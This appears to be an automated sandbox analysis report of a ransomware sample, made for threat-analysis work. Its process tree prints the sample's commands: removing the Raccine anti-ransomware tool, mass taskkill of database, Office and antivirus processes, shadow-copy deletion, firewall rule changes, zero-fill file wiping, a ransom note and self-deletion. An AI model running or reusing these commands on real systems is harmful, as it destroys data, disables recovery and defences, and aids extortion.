f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exedescription pid process target process PID 1212 wrote to memory of 576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1624 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1624 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1624 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1624 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1820 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1820 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1820 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 1820 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe reg.exe PID 1212 wrote to memory of 892 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe schtasks.exe PID 1212 wrote to memory of 892 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe schtasks.exe PID 1212 wrote to memory of 892 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe schtasks.exe PID 1212 wrote to memory of 892 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe schtasks.exe PID 1212 wrote to memory of 1796 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1796 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1796 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1796 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1596 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1596 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1596 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1596 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 992 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 992 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 992 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 992 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe cmd.exe PID 1212 wrote to memory of 1576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe cmd.exe PID 1212 wrote to memory of 1576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe cmd.exe PID 1212 wrote to memory of 1576 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe cmd.exe PID 1212 wrote to memory of 1452 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1452 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1452 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1452 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 868 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 868 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 868 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 868 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1672 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1672 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1672 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1672 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 900 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 900 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 900 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 900 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1988 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1988 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1988 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1988 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe sc.exe PID 1212 wrote to memory of 1512 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1512 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1512 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1512 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1008 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1008 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1008 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1008 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1056 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1056 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1056 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe PID 1212 wrote to memory of 1056 1212 f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe taskkill.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe"C:\Users\Admin\AppData\Local\Temp\f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe"1⤵
- Drops startup file
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\SysWOW64\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:576 -
C:\Windows\SysWOW64\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵PID:1624
-
C:\Windows\SysWOW64\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
PID:1820 -
C:\Windows\SysWOW64\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵PID:892
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
- Launches sc.exe
PID:1796 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:1596 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config Dnscache start= auto2⤵
- Launches sc.exe
PID:992 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵PID:1576
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:1452 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config upnphost start= auto2⤵
- Launches sc.exe
PID:868 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config FDResPub start= auto2⤵
- Launches sc.exe
PID:1672 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
PID:900 -
C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
PID:1988 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1512 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1056 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1008 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1604 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1980 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1160 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1428 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:832 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
PID:1196 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:608 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1076 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1900 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1064 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
PID:1524 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
PID:1952 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1664 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1636 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1764 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1732 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2016 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1608 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1772 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1716 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
PID:1976 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1116 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:960 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2008 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1204 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:964 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1648 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
PID:1468 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1740 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1652 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2004 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:880 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1888 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1792 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
PID:1996 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1180 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:336 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1420 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1284 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1088 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1560 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1524 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1624 -
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1196 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1952 -
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
- Modifies Windows Firewall
PID:1600 -
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
- Modifies Windows Firewall
PID:520 -
C:\Windows\SysWOW64\arp.exe"arp" -a2⤵PID:1740
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵PID:1116
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:1576 -
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:1624
-
C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1820 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\f6108f33ce141564f1989471bd4e9747a1bc37e6c7d242caa3163a4495c85b8a.exe2⤵
- Deletes itself
PID:1272 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:1816
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1172266454827920979-1278895059-205564764-577344736804263767586999423143803546"1⤵PID:1468
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1500741439-54923460378414715-788905993-257973009-420161335-683150254-1428193178"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD563eb6ccb7228ff3ec948675f86bd00f9
SHA10dced38ec455fc1a09970f78330ea652372f17d2
SHA2562018fad2693d6f5744198229e2902b3c460cf79a44c5f30e152d81152480274a
SHA51200cb2db117b8f532b30db471249dcfbf6b8619776f8193c52ed065d665ec6b2acb98a663ecaa37ab44eb0c0f138b740f2aef6a16b44eaa1211db36acb8ffa488
-
Filesize
2KB
MD563eb6ccb7228ff3ec948675f86bd00f9
SHA10dced38ec455fc1a09970f78330ea652372f17d2
SHA2562018fad2693d6f5744198229e2902b3c460cf79a44c5f30e152d81152480274a
SHA51200cb2db117b8f532b30db471249dcfbf6b8619776f8193c52ed065d665ec6b2acb98a663ecaa37ab44eb0c0f138b740f2aef6a16b44eaa1211db36acb8ffa488